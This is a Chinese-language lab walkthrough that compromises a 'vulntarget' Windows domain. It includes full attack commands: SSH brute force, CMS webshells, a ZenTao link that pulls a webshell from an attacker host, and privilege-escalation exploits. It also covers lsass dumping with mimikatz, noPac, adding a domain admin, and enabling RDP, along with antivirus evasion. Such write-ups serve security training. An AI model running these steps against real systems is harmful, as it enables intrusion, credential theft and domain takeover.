一次简单免杀拿下域控
项目拓扑
摘要:此项目存在极致CMS漏洞、禅道CMS漏洞、内网渗透、隧道代理、域渗透、简单免杀、win10及windows server2012以上版本抓取明文密码。
外网打点
查看IP地址存活
netdiscover -r 192.168.40.0/24
nmap以TCP协议快速扫描端口
nmap -sT -p- --min-rate=10000 192.168.40.138
# nmap探测端口服务
nmap -sC -sV -p 21,22,80,81,888,3306,8888 192.168.40.138 -v -oA vulnb
# nmap结果美化
xsltproc -o vulnb.html mode.xsl vulnb.xml
尝试爆破22端口,发现弱口令root/root
hydra -l root -P /root/Desktop/webinfo/top500.txt ssh://192.168.40.138
极致后台编辑模板getshell
访问80端口,后台登录页面访问admin.php,经过测试,发现验证码可以复用。
http://192.168.40.138:81/admin.php
通过暴力破解获取到账号密码 admin/admin123
然后进入网站后台,通过下载安装在线编辑模板插件,从而编辑网站目录下的文件getshell
到这里,就有如下思路
ssh上线metasploit
通过ssh登录,直接是root权限,wget下载攻击载荷上线metasploit。
sudo提权上线metasploit
蚁剑获取的shell是www-data权限,并且执行命令存在限制,需要先绕过限制,然后提权,最后下载并执行攻击载荷上线。
使用disable_function插件绕过命令执行限制。
生成攻击载荷,wget上传到服务器,然后执行上线metasploit,此时还是www-data权限
利用如下模块,检测可以提权的模块 post/multi/recon/local_exploit_suggester
使用exploit/linux/local/sudo_baron_samedit
模块进行提权。(因为当前sudo的版本是1.8.23)直接使用这个模块就可以获取到一个root权限的metasploit会话
这个4444就是exploit/linux/local/sudo_baron_samedit模块获取到的metasploit会话。
这里可以通过查看宝塔的配置文件,获取宝塔的访问地址和登陆账号密码,通过计划任务程序下载并执行攻击载荷上线。(但是这里www-data
权限没办法查看/www/server/
目录下的文件,遂此方法不可行)
宝塔的登录密码 /www/server/panel/default.pl
宝塔的登录端口 /www/server/panel/data/port.pl
宝塔的登录网址路径 /www/server/panel/data/admin_path.pl
内网渗透
查看IP地址信息,双网卡。
配置内网路由信息
设置socks5代理。
TCP端口扫描(由于这里扫描的扫的全网段的全端口,所以速度非常的慢,耐心等待即可。。。)
auxiliary/scanner/portscan/tcp
探测3306和8080端口,尝试爆破3306端口,但是拒绝链接,所以看8080端口
禅道后台管理员权限getshell
8080端口是一个禅道的管理系统。
获取到管理员账号,用极致CMS的密码来尝试一下
使用admin/Admin123成功登陆后台。当前版本12.4.2
漏洞库检索一下nday漏洞
禅道后台管理员权限getshell:https://cloud.tencent.com/developer/article/1749477
这里尝试一句话木马,但是没有成功,蚁剑生成免杀马,成功获取到shell
SFRUUDovLzEwLjAuMjAuMzA6OTk4MS93aW5zaGEucGhw
http://10.0.20.66:8080/client-download-1-SFRUUDovLzEwLjAuMjAuMzA6OTk4MS93aW5zaGEucGhw-1.html
http://10.0.20.66:8080/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzA6OTk4MS93aW5zaGEucGhw
添加蚁剑的代理不稳定,这里就直接在windows的设置里面添加代理。成功获取到shell。
注意:这里连接的时候要根据自己生成的免杀马设置对应的编码器和解码器!!!
此处上传并执行免杀马代理转发上线metasploit
先迁移进程,防止会话中断
查看IP地址信息
CVE-2021-1732提权
运行systeminfo命令,将返回的所有信息复制到windows提权辅助网站检测
通过检测,发现当前系统存在CVE-2021-1732
、CVE-2021-1648
等漏洞(后面的漏洞编号比较旧,因此使用最新的漏洞即可)
CVE-2021-1732:https://github.com/Ascotbe/Kernelhub/tree/master/Windows/CVE-2021-1732
这里不能直接上传CVE-2021-1732.exe,会被火绒直接杀掉,经过免杀之后再上传。
CVE-2021-1732.exe whoami
使用CVE-2021-1732漏洞重新执行后门,获取到SYSTEM权限会话。
迁移进程
这里尝试加载kiwi,抓取明文密码,但是失败了。上传mimikatz,但是有杀软,没办法了
procdump+mimikatz抓取明文密码
注意:win10、windows server 2012抓取密码方法 procdump + mimikatz
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
procdump下载(微软工具):https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
注意:修改注册表之后,需要用户重新注销登陆才可以抓取到密码。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
蚁剑下载到本地,mimikat读取明文密码
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
域管理员密码
域成员密码
本地管理员密码
获取域控权限
此时已经抓取到账号密码了,添加路由
定位域控
扫描域控开放的端口
CVE-2021-42287/CVE-2021-42278
noPac源代码下载:https://github.com/cube0x0/noPac
选择release,点击启动,生成exe可执行文件
获取票据
.\noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount test /mPassword admin@123 /service cifs /ptt
此时可以访问到域控(这里使用IP不能访问,应该是获取票据的时候参数是使用的主机名)
dir \\WIN-UH20PRD3EAO.vulntarget.com\c$
此时,上传PsExec64.exe远程连接获取cmd
net user root Admin@2023 /add /domain
net group "Domain Admins" root /add /domain
这里获取票据之后,执行命令会出现拒绝访问的情况,这个时候,重新换一个/mAccount参数来获取票据再执行
PsExec64.exe \\10.0.10.100 -u vulntarget\root -p Admin@2023 -s cmd.exe
添加3389端口的入站规则,并且开启远程桌面
# 防火墙添加3389端口入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 注册表开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
开启了3389端口,就可以使用vulntarget\root:Admin@123登陆10.0.20.66,再使用psexec远程连接域控
PsExec64.exe \\10.0.10.100 -u vulntarget\root -p Admin@2023 -s cmd.exe
此时,开启域控的远程桌面,代理mstsc连接即可。
# 防火墙添加3389端口入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
# 注册表开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f